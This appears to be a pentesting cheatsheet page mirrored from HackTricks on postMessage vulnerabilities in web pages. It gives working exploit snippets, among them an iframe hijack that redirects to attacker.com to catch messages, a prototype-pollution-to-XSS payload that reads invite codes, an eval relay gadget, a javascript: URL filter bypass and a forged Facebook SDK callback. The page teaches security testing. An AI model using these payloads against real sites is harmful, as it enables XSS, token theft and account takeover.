daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (23419B)


      1 ---
      2 title: "PostMessage Vulnerabilities"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/postmessage-vulnerabilities/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/postmessage-vulnerabilities/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # PostMessage Vulnerabilities
     14 
     15 ## Send **PostMessage**
     16 
     17 **PostMessage** uses the following function to send a message:
     18 
     19 ```bash
     20 targetWindow.postMessage(message, targetOrigin, [transfer]);
     21 
     22 # postMessage to current page
     23 window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
     24 
     25 # postMessage to an iframe with id "idframe"
     26 <iframe id="idframe" src="http://victim.com/"></iframe>
     27 document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
     28 
     29 # postMessage to an iframe via onload
     30 <iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
     31 
     32 # postMessage to popup
     33 win = open('URL', 'hack', 'width=800,height=300,top=500');
     34 win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
     35 
     36 # postMessage to a URL
     37 window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
     38 
     39 # postMessage to iframe inside popup
     40 win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
     41 ## loop until win.length == 1 (until the iframe is loaded)
     42 win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
     43 ```
     44 
     45 `targetOrigin` can be `'*'` or an exact origin such as `https://company.com`. With an exact origin, the browser delivers the message only if the target window currently has that origin. With `'*'`, the message can be delivered regardless of the target window's current origin.
     46 
     47 ### Attacking iframe & wildcard in **targetOrigin**
     48 
     49 As explained in [**this archived report**](https://web.archive.org/web/20230000000000id_/https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if a page can be **framed** (no effective `X-Frame-Options` or CSP `frame-ancestors` protection) and sends a **sensitive message** with a wildcard `targetOrigin`, an attacker may navigate the iframe to an attacker-controlled origin and receive the message there.<sup>[[3]](#references)</sup>\
     50 Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.<sup>[[3]](#references)</sup>
     51 
     52 ```html
     53 <html>
     54    <iframe src="https://docs.google.com/document/ID" />
     55    <script>
     56       setTimeout(exp, 6000); //Wait 6s
     57 
     58       //Try to change the origin of the iframe each 100ms
     59       function exp(){
     60           setInterval(function(){
     61               window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
     62           }, 100);
     63       }
     64    </script>
     65 ```
     66 
     67 ## addEventListener exploitation
     68 
     69 JavaScript uses **`addEventListener`** to register a handler that receives `message` events.\
     70 A code similar to the following one will be used:
     71 
     72 ```javascript
     73 window.addEventListener(
     74   "message",
     75   (event) => {
     76     if (event.origin !== "http://example.org:8080") return
     77 
     78     // ...
     79   },
     80   false
     81 )
     82 ```
     83 
     84 The handler first **checks the sender origin**. This is essential whenever received data drives a sensitive action, such as changing a password. Without a strict origin check, an attacker can make a victim page submit arbitrary message data to the handler.
     85 
     86 ### Enumeration
     87 
     88 In order to **find event listeners** in the current page you can:
     89 
     90 - **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)<sup>[[5]](#references)</sup>
     91 - **Execute** in the developer tools console: `getEventListeners(window)`
     92 
     93 ![addEventListener exploitation - Enumeration: Execute in the developer tools console: getEventListeners(window)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28618%29%20%281%29.png)
     94 
     95 - **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
     96 
     97 ![addEventListener exploitation - Enumeration: Go to Elements -- Event Listeners in the developer tools of the browser](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28396%29.png)
     98 
     99 - Use a **browser extension** such as [Posta](https://github.com/benso-io/posta) or [postMessage-tracker](https://github.com/fransr/postMessage-tracker). These extensions intercept and display messages.
    100 
    101 ### Origin check bypasses
    102 
    103 - **Do not use `event.isTrusted` as sender authorization.** It indicates whether the browser dispatched the event rather than whether JavaScript called `dispatchEvent`; it does not prove that a `MessageEvent` came from a trusted origin or genuine user action. Validate `event.origin`, and where relevant `event.source`, instead.<sup>[[10]](#references)</sup>
    104 - The use of **`indexOf()`** for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
    105 
    106   ```javascript
    107   "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
    108   ```
    109 
    110 - The **`search()`** method from `String.prototype.search()` is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
    111 
    112   ```javascript
    113   "https://www.safedomain.com".search("www.s.fedomain.com")
    114   ```
    115 
    116 - The **`match()`** function, similar to `search()`, processes regex. If the regex is improperly structured, it might be prone to bypassing.
    117 - The **`escapeHtml`** function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge `hasOwnProperty`, the `escapeHtml` won't perform as expected. This is demonstrated in the examples below:
    118 
    119   - Expected Failure:
    120 
    121     ```javascript
    122     result = u({
    123       message: "'\"<b>\\",
    124     })
    125     result.message // "&#39;&quot;&lt;b&gt;\"
    126     ```
    127 
    128   - Bypassing the escape:
    129 
    130     ```javascript
    131     result = u(new Error("'\"<b>\\"))
    132     result.message // "'"<b>\"
    133     ```
    134 
    135   In the context of this vulnerability, the `File` object is notably exploitable due to its read-only `name` property. This property, when used in templates, is not sanitized by the `escapeHtml` function, leading to potential security risks.
    136 
    137 - The `document.domain` property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
    138 
    139 ### Substring scheme checks in message-to-navigation sinks
    140 
    141 If a receiver does not validate `event.origin`, then checks only whether `event.data` **contains** `http:`/`https:` before assigning it to `location.href`, the substring check does not constrain the actual URL scheme. Start the value with `javascript:` and place the required substring after a JavaScript line comment; the browser executes the leading JavaScript URL in the receiver's origin.<sup>[[11]](#references)[[12]](#references)</sup>
    142 
    143 ```html
    144 <iframe
    145   src="https://target.example/"
    146   onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
    147 </iframe>
    148 ```
    149 
    150 Here, `http:` satisfies an `indexOf('http:') > -1` filter but is ignored as comment text. Exploitation requires a reference to the target window (for example, a frameable page or popup), an attacker-reachable listener, and a navigation sink that permits the `javascript:` URL.<sup>[[11]](#references)[[12]](#references)</sup>
    151 
    152 ### Origin-only trust + trusted relays
    153 
    154 If a receiver only checks **`event.origin`** (e.g., trusts any `*.trusted.com`) you can often find a **"relay" page on that origin that echoes attacker-controlled params via `postMessage`** to a supplied `targetOrigin`/`targetWindow`. Examples include marketing/analytics gadgets that take query params and forward `{msg_type, access_token, ...}` to `opener`/`parent`. You can:
    155 
    156 - **Open the victim page in a popup/iframe that has an `opener`** so its handlers register (many pixels/SDKs only attach listeners when `window.opener` exists).<sup>[[4]](#references)</sup>
    157 - **Navigate another attacker window to the relay endpoint on the trusted origin**, populating message fields you want injected (message type, tokens, nonces).
    158 - Because the message now comes **from the trusted origin**, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.
    159 
    160 Abuse patterns seen in the wild:
    161 
    162 - Analytics SDKs (e.g., pixel/fbevents-style) consume messages like `FACEBOOK_IWL_BOOTSTRAP`, then **call backend APIs using a token supplied in the message** and include **`location.href` / `document.referrer`** in the request body. If you supply your own token, you can **read these requests in the token’s request history/logs** and exfil **OAuth codes/tokens** present in the URL/referrer of the victim page.
    163 - Any relay that reflects arbitrary fields into `postMessage` lets you **spoof message types** expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.
    164 
    165 Hunting tips: enumerate `postMessage` listeners that only check `event.origin`, then look for **same-origin HTML/JS endpoints that forward URL params via `postMessage`** (marketing previews, login popups, OAuth error pages). Stitch both together with `window.open()` + `postMessage` to bypass origin checks.
    166 
    167 ### e.origin == window.origin bypass
    168 
    169 When embedding a web page within a **sandboxed iframe** using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with **sandbox attributes** and their implications on security and functionality.
    170 
    171 By specifying **`allow-popups`** in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the **`allow-popups-to-escape-sandbox`** attribute is also included, the popup window's origin is similarly set to `null`, aligning with the iframe's origin.
    172 
    173 Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using **`postMessage`**, both the sending and receiving ends have their origins set to `null`. This situation leads to a scenario where **`e.origin == window.origin`** evaluates to true (`null == null`), because both the iframe and the popup share the same origin value of `null`.
    174 
    175 For more information **read**:
    176 
    177 
    178 [Bypassing Sop With Iframes 1](/hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1)
    179 
    180 ### Bypassing e.source
    181 
    182 It's possible to check if the message came from the same window the script is listening in (specially interesting for **Content Scripts from browser extensions** to check if the message was sent from the same page):
    183 
    184 ```javascript
    185 // If it’s not, return immediately.
    186 if (received_message.source !== window) {
    187   return
    188 }
    189 ```
    190 
    191 You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.
    192 
    193 For more information **read:**
    194 
    195 
    196 [Bypassing Sop With Iframes 2](/hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2)
    197 
    198 ### Framing-protection bypass
    199 
    200 These attacks often require placing the victim page in an `iframe`, but `X-Frame-Options` and CSP `frame-ancestors` can prevent framing.\
    201 In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:<sup>[[2]](#references)</sup>
    202 
    203 ```html
    204 <script>
    205 var w=window.open("<url>")
    206 setTimeout(function(){w.postMessage('text here','*');}, 2000);
    207 </script>
    208 ```
    209 
    210 ### Stealing message sent to child by blocking the main page
    211 
    212 In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
    213 
    214 
    215 [Blocking Main Page To Steal Postmessage](/hacktricks/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage)
    216 
    217 ### Stealing message by modifying iframe location
    218 
    219 If a frameable page contains another iframe, an attacker may be able to **change the child iframe's location**. If that child receives a `postMessage` sent with wildcard `targetOrigin`, navigating it to an attacker-controlled origin can expose the message:
    220 
    221 
    222 [Steal Postmessage Modifying Iframe Location](/hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location)
    223 
    224 ### postMessage to Prototype Pollution and/or XSS
    225 
    226 In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
    227 
    228 A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)<sup>[[1]](#references)</sup>
    229 
    230 Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
    231 
    232 ```html
    233 <html>
    234   <body>
    235     <iframe
    236       id="idframe"
    237       src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    238     <script>
    239       function get_code() {
    240         document
    241           .getElementById("iframe_victim")
    242           .contentWindow.postMessage(
    243             '{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
    244             "*"
    245           )
    246         document
    247           .getElementById("iframe_victim")
    248           .contentWindow.postMessage(JSON.stringify("refresh"), "*")
    249       }
    250 
    251       setTimeout(get_code, 2000)
    252     </script>
    253   </body>
    254 </html>
    255 ```
    256 
    257 For **more information**:
    258 
    259 - Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/index.html)
    260 - Link to page about [**XSS**](../xss-cross-site-scripting/index.html)
    261 - Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
    262 
    263 ### Origin-derived script loading & supply-chain pivot (CAPIG case study)
    264 
    265 `capig-events.js` only registered a `message` handler when `window.opener` existed. On `IWL_BOOTSTRAP` it checked `pixel_id` but stored `event.origin` and later used it to build `${host}/sdk/${pixel_id}/iwl.js`.<sup>[[6]](#references)</sup>
    266 
    267 <details>
    268 <summary>Handler writing attacker-controlled origin</summary>
    269 
    270 ```javascript
    271 if (window.opener) {
    272   window.addEventListener("message", (event) => {
    273     if (
    274       !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") &&
    275       !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") &&
    276       event.data.msg_type === "IWL_BOOTSTRAP" &&
    277       checkInList(g.pixels, event.data.pixel_id) !== -1
    278     ) {
    279       localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", {
    280         pixelID: event.data.pixel_id,
    281         host: event.origin,
    282         sessionStartTime: event.data.session_start_time,
    283       })
    284       startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js`
    285     }
    286   })
    287 }
    288 ```
    289 
    290 </details>
    291 
    292 **Exploit (origin → script-src pivot):**
    293 1. Get an opener: e.g., in Facebook Android WebView reuse `window.name` with `window.open(target, name)` so the window becomes its own opener, then post a message from a malicious iframe.
    294 2. Send `IWL_BOOTSTRAP` from any origin to persist `host = event.origin` in `localStorage`.
    295 3. Host `/sdk/<pixel_id>/iwl.js` on any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain). `startIWL()` then loads attacker JS in the embedding site (e.g., `www.meta.com`), enabling credentialed cross-origin calls and account takeover.
    296 
    297 If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted `postMessage` to the parent to poison the stored host and force the script load.
    298 
    299 **Backend-generated shared script → stored XSS:** the plugin `AHPixelIWLParametersPlugin` concatenated user rule parameters into JS appended to `capig-events.js` (e.g., `cbq.config.set(...)`). Injecting breakouts like `"]}` injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it.
    300 
    301 ### Trusted-origin allowlist isn't a boundary
    302 
    303 A strict `event.origin` check only works if the **trusted origin cannot run attacker JS**. When privileged pages embed third-party iframes and assume `event.origin === "https://partner.com"` is safe, any XSS in `partner.com` becomes a bridge into the parent:<sup>[[7]](#references)</sup>
    304 
    305 ```javascript
    306 // Parent (trusted page)
    307 window.addEventListener("message", (e) => {
    308   if (e.origin !== "https://partner.com") return
    309   const [type, html] = e.data.split("|")
    310   if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
    311 })
    312 ```
    313 
    314 Attack pattern observed in the wild:
    315 
    316 1. **Exploit XSS in the partner iframe** and drop a relay gadget so any `postMessage` becomes code exec inside the trusted origin:
    317 
    318 ```html
    319 <img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
    320 ```
    321 
    322 2. **From the attacker page**, send JS to the compromised iframe that forwards an allowed message type back to the parent. The message originates from `partner.com`, passes the allowlist, and carries HTML that is inserted unsafely:
    323 
    324 ```javascript
    325 postMessage({
    326   cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
    327 }, "*")
    328 ```
    329 
    330 3. The parent injects the attacker HTML, giving **JS execution in the parent origin** (e.g., `facebook.com`), which can then be used to steal OAuth codes or pivot to full account takeover flows.
    331 
    332 Key takeaways:
    333 
    334 - **Partner origin isn't a boundary**: any XSS in a "trusted" partner lets attackers send allowed messages that bypass `event.origin` checks.
    335 - Handlers that **render partner-controlled payloads** (e.g., `innerHTML` on specific message types) make partner compromise a same-origin DOM XSS.
    336 - A wide **message surface** (many types, no structure validation) gives more gadgets for pivoting once a partner iframe is compromised.
    337 
    338 ### Predicting **`Math.random()`** callback tokens in postMessage bridges
    339 
    340 When message validation uses a “shared secret” generated with `Math.random()` (e.g., `guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }`) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:<sup>[[8]](#references)</sup><sup>[[9]](#references)</sup>
    341 
    342 - **Leak PRNG outputs via `window.name`:** The SDK auto-names plugin iframes with `guid()`. If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., `window.frames[0].frames[0].location='https://attacker.com'`) and read `window.frames[0].frames[0].name` to obtain a raw `Math.random()` output.
    343 - **Force more outputs without reloads:** Some SDKs expose a reinit path; in the FB SDK, firing `init:post` with `{xfbml:1}` forces `XFBML.parse()`, destroys/recreates the plugin iframe, and generates new names/callback IDs. Repeated reinit produces as many PRNG outputs as needed (note extra internal `Math.random()` calls for callback/iframe IDs, so solvers must skip intervening values).
    344 - **Trusted-origin delivery via parameter pollution:** If a first-party plugin endpoint reflects an unsanitized parameter into the cross-window payload (e.g., `/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET`), you can inject `&type=...&iconSVG=...` while preserving the trusted `facebook.com` origin.
    345 - **Predict the next callback:** Convert leaked iframe names back to floats in `[0,1)` and feed several values (even non-consecutive) into a V8 `Math.random` predictor (e.g., Z3-based). Generate the next `guid()` locally to forge the expected callback token.
    346 - **Trigger the sink:** Craft the postMessage data so the bridge dispatches `xd.mpn.setupIconIframe` and injects HTML in `iconSVG` (e.g., URL-encoded `<img src=x onerror=...>`), achieving DOM XSS inside the hosting origin; from there, same-origin iframes (OAuth dialogs, arbiters, etc.) can be read.
    347 - **Framing quirks help:** The chain requires framing. In some mobile webviews, `X-Frame-Options` may degrade to unsupported `ALLOW-FROM` when `frame-ancestors` is present, and “compat” parameters can force permissive `frame-ancestors`, enabling the `window.name` side channel.
    348 
    349 #### Minimal forged message example
    350 
    351 ```javascript
    352 // predictedFloat is the solver output for the next Math.random()
    353 const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
    354 const payload =
    355   callback +
    356   "&type=mpn.setupIconIframe&frameName=x" +
    357   "&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
    358 const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
    359 iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
    360 ```
    361 
    362 ## References
    363 
    364 - [1] [DOM XSS PostMessage - jlajara](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
    365 - [2] [How to spot and exploit postMessage vulnerabilities - karanbamal](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
    366 - [3] [Google VRP: Hijacking your screenshots - GeekyCat (archived)](https://web.archive.org/web/20230000000000id_/https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)
    367 - [4] [Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO](https://ysamm.com/uncategorized/2026/01/16/leaking-fbevents-ato.html)
    368 - [5] [eventlistener-xss-recon (practice)](https://github.com/yavolo/eventlistener-xss-recon)
    369 - [6] [CAPIG postMessage origin trust → script loading + stored JS injection](https://ysamm.com/uncategorized/2025/01/13/capig-xss.html)
    370 - [7] [Self XSS Facebook Payments](https://ysamm.com/uncategorized/2026/01/15/self-xss-facebook-payments.html)
    371 - [8] [Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup](https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html)
    372 - [9] [V8 Math.random() state recovery (Z3 predictor)](https://github.com/PwnFunction/v8-randomness-predictor)
    373 - [10] [MDN – Event.isTrusted](https://developer.mozilla.org/en-US/docs/Web/API/Event/isTrusted)
    374 - [11] [PortSwigger Lab: DOM XSS using web messages and a JavaScript URL](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-a-javascript-url)
    375 - [12] [How to use Codex for Bug Bounty research: explore broadly, validate rigorously](https://www.yeswehack.com/learn-bug-bounty/llm-series-codex)